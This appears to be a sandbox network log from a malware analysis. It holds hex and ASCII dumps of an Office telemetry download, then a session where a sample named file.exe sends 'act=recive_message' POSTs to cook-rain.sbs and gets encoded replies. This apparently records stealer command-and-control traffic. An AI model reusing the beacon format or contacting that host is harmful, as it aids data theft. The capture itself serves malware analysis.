2024-11-20 16:41:23 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:23 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164123Z-185f5d8b95cx9g8lhC1NYCtgvc00000002x0000000007k6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:23 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 16:41:23 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-20 16:41:23 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-20 16:41:23 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-20 16:41:23 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-20 16:41:23 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-20 16:41:23 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-20 16:41:24 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-20 16:41:24 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-20 16:41:24 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49706	104.21.66.38	443	7476	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:24 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-20 16:41:24 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-20 16:41:24 UTC	983	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3u32hvsurdcf0vsvpkt3csvo1g; expires=Sun, 16-Mar-2025 10:28:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pPcITdzSsXkXzc8TWmTFy4GUI82UN9PVcGf9X9dmn%2BtOF%2Fv0%2BwPRd69XJKazYHuMxx83of%2BJks1awWInaiqFZKnRfdDhYI1qvuQBjG9mGCO0e%2FtZsqNEzMpAQy23GJ4U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e59e3277fd58ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2007&sent=6&recv=8&lost=0&retrans=1&sent_bytes=4198&recv_bytes=950&delivery_rate=161388&cwnd=242&unsent_bytes=0&cid=16d6eb855c127b1a&ts=779&x=0"
2024-11-20 16:41:24 UTC	386	IN	Data Raw: 34 34 36 63 0d 0a 6a 71 65 37 70 32 6e 52 74 64 44 37 71 73 56 6f 75 48 42 54 4e 41 38 4f 35 6a 2b 37 58 51 42 2b 6e 37 49 32 33 54 42 71 39 76 54 31 68 63 32 46 55 2b 57 5a 38 6f 6a 50 35 31 4c 4d 41 69 5a 52 49 79 79 48 57 35 6c 6e 5a 68 2f 7a 77 56 50 78 45 68 79 62 31 72 54 42 32 73 73 61 74 4a 6e 79 6e 74 4c 6e 55 75 4d 4c 63 56 46 68 4c 4e 77 64 33 6a 64 69 48 2f 50 51 56 37 5a 66 47 70 71 58 35 73 76 63 7a 77 79 79 30 62 47 58 78 36 41 4e 33 52 45 35 57 6d 5a 6a 6a 6c 4b 5a 63 53 49 62 35 5a 41 4d 2f 33 30 50 67 70 58 44 78 73 6a 4d 53 36 79 5a 71 39 6e 50 71 30 71 43 55 6a 4a 52 62 57 4b 41 57 39 41 31 61 42 62 37 30 56 4b 33 51 41 4f 51 6e 4f 62 46 33 38 34 47 75 38 57 38 6e 63 43 72 43 39 63 52 63 52 67 74 61 35 77 64 67 58 38 78 4c 76 37 42 52 Data Ascii: 446cjqe7p2nRtdD7qsVouHBTNA8O5j+7XQB+n7I23TBq9vT1hc2FU+WZ8ojP51LMAiZRIyyHW5lnZh/zwVPxEhyb1rTB2ssatJnyntLnUuMLcVFhLNwd3jdiH/PQV7ZfGpqX5svczwyy0bGXx6AN3RE5WmZjjlKZcSIb5ZAM/30PgpXDxsjMS6yZq9nPq0qCUjJRbWKAW9A1aBb70VK3QAOQnObF384Gu8W8ncCrC9cRcRgta5wdgX8xLv7BR
2024-11-20 16:41:24 UTC	1369	IN	Data Raw: 42 5a 6d 51 37 4d 57 5a 69 30 75 30 7a 2f 4c 42 69 49 51 50 79 68 55 39 51 43 39 57 78 45 4b 58 4a 69 49 62 38 5a 41 4d 2f 31 6f 4e 6c 35 58 6e 79 74 72 4e 41 4b 48 58 6f 4a 2f 46 6f 68 6a 63 46 7a 39 63 62 6e 36 4f 55 39 38 38 61 78 66 30 31 56 4f 37 45 6b 62 55 6b 66 53 46 67 59 55 71 76 74 79 2b 6b 39 2b 6e 53 73 56 63 4b 42 5a 71 59 4d 51 46 6d 54 74 6a 47 50 7a 55 57 72 46 57 42 4a 4b 59 34 63 72 66 7a 77 75 30 33 62 71 52 79 61 6f 42 31 52 49 30 57 32 6c 71 69 46 7a 63 66 79 78 63 2b 73 67 55 35 78 49 6d 6b 35 58 2b 68 2b 7a 47 42 62 33 51 70 4e 6e 58 36 52 4f 61 46 54 30 57 4e 53 79 4b 57 4e 59 74 59 77 37 34 33 6b 61 7a 56 77 36 5a 6c 65 4c 46 33 4d 49 47 76 64 47 31 6d 73 43 6a 43 39 51 65 4f 31 56 70 62 38 51 54 6d 54 68 36 58 4b 57 51 5a 62 78 Data Ascii: BZmQ7MWZi0u0z/LBiIQPyhU9QC9WxEKXJiIb8ZAM/1oNl5XnytrNAKHXoJ/FohjcFz9cbn6OU988axf01VO7EkbUkfSFgYUqvty+k9+nSsVcKBZqYMQFmTtjGPzUWrFWBJKY4crfzwu03bqRyaoB1RI0W2lqiFzcfyxc+sgU5xImk5X+h+zGBb3QpNnX6ROaFT0WNSyKWNYtYw743kazVw6ZleLF3MIGvdG1msCjC9QeO1Vpb8QTmTh6XKWQZbx
2024-11-20 16:41:24 UTC	1369	IN	Data Raw: 2b 76 50 31 38 49 50 76 39 36 2f 6e 38 69 67 44 74 38 41 4e 46 39 68 59 4d 51 54 6d 54 68 36 58 4b 57 51 65 37 68 45 43 37 75 56 2f 63 79 5a 32 6b 57 71 6c 37 57 56 69 50 39 4b 33 52 63 35 58 57 74 6b 68 45 2f 63 4d 57 6b 64 39 39 5a 56 73 6c 34 4f 6c 4a 66 73 77 39 58 46 44 4c 54 46 6f 4a 7a 4f 74 51 43 61 58 48 46 52 64 53 7a 63 48 65 38 76 64 51 33 72 6b 6d 47 38 58 41 61 54 67 4b 7a 61 6c 39 78 4c 74 4e 76 79 77 59 69 73 43 74 59 56 4f 56 42 70 5a 49 74 53 30 43 31 6a 45 50 50 43 55 37 39 62 42 70 75 61 35 63 6a 65 79 41 43 35 32 72 61 65 79 65 64 45 6d 68 55 70 46 6a 55 73 73 6b 33 55 4d 30 77 58 38 64 6b 55 6f 42 77 52 31 4a 48 67 68 59 47 46 44 37 2f 66 75 4a 62 42 72 51 44 56 47 7a 46 65 5a 47 57 48 58 64 55 35 59 78 44 78 33 56 47 38 56 77 57 52 Data Ascii: +vP18IPv96/n8igDt8ANF9hYMQTmTh6XKWQe7hEC7uV/cyZ2kWql7WViP9K3Rc5XWtkhE/cMWkd99ZVsl4OlJfsw9XFDLTFoJzOtQCaXHFRdSzcHe8vdQ3rkmG8XAaTgKzal9xLtNvywYisCtYVOVBpZItS0C1jEPPCU79bBpua5cjeyAC52raeyedEmhUpFjUssk3UM0wX8dkUoBwR1JHghYGFD7/fuJbBrQDVGzFeZGWHXdU5YxDx3VG8VwWR
2024-11-20 16:41:24 UTC	1369	IN	Data Raw: 43 46 44 4c 2b 58 36 74 6e 45 70 41 62 53 48 54 64 66 59 57 61 4e 56 74 55 30 5a 68 44 30 31 56 4b 2b 56 77 32 56 6b 75 44 50 33 38 59 49 76 4e 69 39 6b 59 6a 70 53 74 30 4b 63 51 34 74 53 5a 4e 57 31 7a 6b 69 41 37 50 4a 46 4c 68 65 53 4d 7a 57 34 4d 7a 66 77 77 36 2f 31 72 53 52 7a 61 38 4f 32 78 51 33 56 57 4a 6f 67 56 7a 57 4f 32 34 53 39 39 46 56 73 31 6b 48 6e 35 4f 73 69 35 6e 43 45 2f 4f 50 38 71 6a 4c 73 52 33 4b 48 6e 46 4a 49 33 58 45 57 74 56 2f 4f 6c 7a 38 77 6c 36 31 58 41 32 62 6b 2b 2f 4b 33 73 67 4e 76 39 32 37 6b 63 36 6f 41 38 67 52 50 56 68 71 59 6f 68 54 31 44 56 68 45 62 32 65 46 4c 68 4b 53 4d 7a 57 77 4d 4c 55 36 77 43 2f 30 50 4b 47 68 72 35 4b 33 52 35 78 44 69 31 67 6a 6c 48 51 50 32 73 5a 39 64 74 64 75 6c 4d 44 6b 5a 58 71 79 Data Ascii: CFDL+X6tnEpAbSHTdfYWaNVtU0ZhD01VK+Vw2VkuDP38YIvNi9kYjpSt0KcQ4tSZNW1zkiA7PJFLheSMzW4Mzfww6/1rSRza8O2xQ3VWJogVzWO24S99FVs1kHn5Osi5nCE/OP8qjLsR3KHnFJI3XEWtV/Olz8wl61XA2bk+/K3sgNv927kc6oA8gRPVhqYohT1DVhEb2eFLhKSMzWwMLU6wC/0PKGhr5K3R5xDi1gjlHQP2sZ9dtdulMDkZXqy
2024-11-20 16:41:24 UTC	1369	IN	Data Raw: 30 32 2f 4c 42 69 4b 45 46 30 78 45 2b 56 32 52 67 69 56 6a 51 4f 6d 4d 61 2b 64 70 65 76 31 51 4f 6c 5a 50 6d 78 74 6a 50 41 72 54 66 74 5a 72 61 35 30 53 61 46 53 6b 57 4e 53 79 74 57 73 73 78 63 6c 7a 69 6e 6b 33 2f 56 51 54 55 7a 71 7a 42 30 38 6f 50 74 4e 75 30 6e 4d 36 71 43 39 55 54 4d 56 6c 70 5a 34 31 62 32 44 4a 6e 45 66 6e 43 58 72 52 64 42 4a 32 61 34 59 57 58 68 51 79 72 6c 2b 72 5a 2b 61 6f 45 31 42 55 6e 46 6e 49 69 6e 52 33 65 4d 79 4a 45 76 64 46 59 73 46 45 48 6c 35 58 74 7a 38 76 58 42 37 72 66 74 35 58 44 71 51 7a 49 46 44 35 66 62 6d 2b 4e 57 74 45 7a 61 42 2f 36 6b 42 72 2f 56 52 44 55 7a 71 7a 6d 7a 74 55 47 38 38 6a 38 67 49 69 67 42 70 70 4b 63 56 35 67 5a 49 35 5a 33 6a 4a 6c 47 76 54 43 58 62 70 63 43 4a 43 64 34 38 50 64 78 67 Data Ascii: 02/LBiKEF0xE+V2RgiVjQOmMa+dpev1QOlZPmxtjPArTftZra50SaFSkWNSytWssxclzink3/VQTUzqzB08oPtNu0nM6qC9UTMVlpZ41b2DJnEfnCXrRdBJ2a4YWXhQyrl+rZ+aoE1BUnFnIinR3eMyJEvdFYsFEHl5Xtz8vXB7rft5XDqQzIFD5fbm+NWtEzaB/6kBr/VRDUzqzmztUG88j8gIigBppKcV5gZI5Z3jJlGvTCXbpcCJCd48Pdxg
2024-11-20 16:41:24 UTC	1369	IN	Data Raw: 6b 4d 66 6e 52 4a 6f 56 4b 52 59 31 4c 4b 56 47 32 6a 4e 76 58 4f 4b 65 54 66 39 56 42 4e 54 4f 72 4d 6e 58 77 41 75 35 30 62 61 63 7a 71 30 50 32 68 6b 79 57 57 6c 71 67 46 4c 5a 4e 47 73 64 2b 39 56 65 74 46 51 46 6c 35 44 71 68 5a 65 46 44 4b 75 58 36 74 6e 6f 76 41 66 57 46 58 46 4a 49 33 58 45 57 74 56 2f 4f 6c 7a 32 33 46 43 34 55 67 57 58 6e 75 6e 42 30 38 41 4c 75 38 57 36 6d 63 2b 31 47 4e 6f 62 4e 46 70 75 62 49 42 62 30 44 6c 68 47 4c 32 65 46 4c 68 4b 53 4d 7a 57 77 63 6e 65 37 41 79 6f 6c 36 33 58 30 65 63 4e 31 6c 4a 70 46 6d 78 6e 6a 6c 4c 55 50 47 51 66 39 74 56 65 76 6c 55 41 6d 59 54 76 79 74 62 42 43 37 7a 52 74 4a 6a 48 6f 51 33 54 45 7a 6c 52 4c 53 4c 45 57 73 46 2f 4f 6c 7a 54 31 31 65 37 45 68 66 61 6a 36 7a 43 31 59 56 54 38 39 65 Data Ascii: kMfnRJoVKRY1LKVG2jNvXOKeTf9VBNTOrMnXwAu50baczq0P2hkyWWlqgFLZNGsd+9VetFQFl5DqhZeFDKuX6tnovAfWFXFJI3XEWtV/Olz23FC4UgWXnunB08ALu8W6mc+1GNobNFpubIBb0DlhGL2eFLhKSMzWwcne7Ayol63X0ecN1lJpFmxnjlLUPGQf9tVevlUAmYTvytbBC7zRtJjHoQ3TEzlRLSLEWsF/OlzT11e7Ehfaj6zC1YVT89e
2024-11-20 16:41:24 UTC	1369	IN	Data Raw: 77 32 61 4c 58 38 57 64 53 7a 63 48 65 77 38 62 42 4c 36 78 6b 58 79 64 52 36 65 6b 66 7a 43 7a 73 70 4c 2f 5a 65 30 32 5a 44 30 52 4a 6f 57 49 42 59 31 50 4e 59 47 6a 47 77 31 54 4b 2f 50 47 71 59 53 48 74 54 4f 76 6f 75 5a 31 30 76 72 6c 2f 57 61 32 72 55 4d 32 51 51 79 45 56 4e 53 6f 30 66 55 4f 58 55 4e 77 2b 35 54 70 56 38 4f 67 34 65 67 30 4e 72 4c 42 62 54 42 38 74 65 49 71 45 71 43 4b 33 45 65 4c 56 50 4b 48 63 46 2f 4f 6c 7a 49 30 31 71 78 56 52 36 46 32 38 76 66 31 4d 4d 63 6f 70 66 38 32 63 37 6e 55 6f 70 63 63 56 4a 38 4c 4e 77 4e 69 32 51 33 54 36 71 41 42 71 41 63 45 64 53 41 72 4a 32 4c 69 30 75 68 6c 2b 72 5a 6a 36 51 59 79 42 51 79 51 47 34 72 75 6d 50 33 4f 47 51 5a 2b 73 41 57 6b 56 6b 63 6b 39 61 69 68 64 61 46 55 34 71 58 2b 74 6e 33 Data Ascii: w2aLX8WdSzcHew8bBL6xkXydR6ekfzCzspL/Ze02ZD0RJoWIBY1PNYGjGw1TK/PGqYSHtTOvouZ10vrl/Wa2rUM2QQyEVNSo0fUOXUNw+5TpV8Og4eg0NrLBbTB8teIqEqCK3EeLVPKHcF/OlzI01qxVR6F28vf1MMcopf82c7nUopccVJ8LNwNi2Q3T6qABqAcEdSArJ2Li0uhl+rZj6QYyBQyQG4rumP3OGQZ+sAWkVkck9aihdaFU4qX+tn3
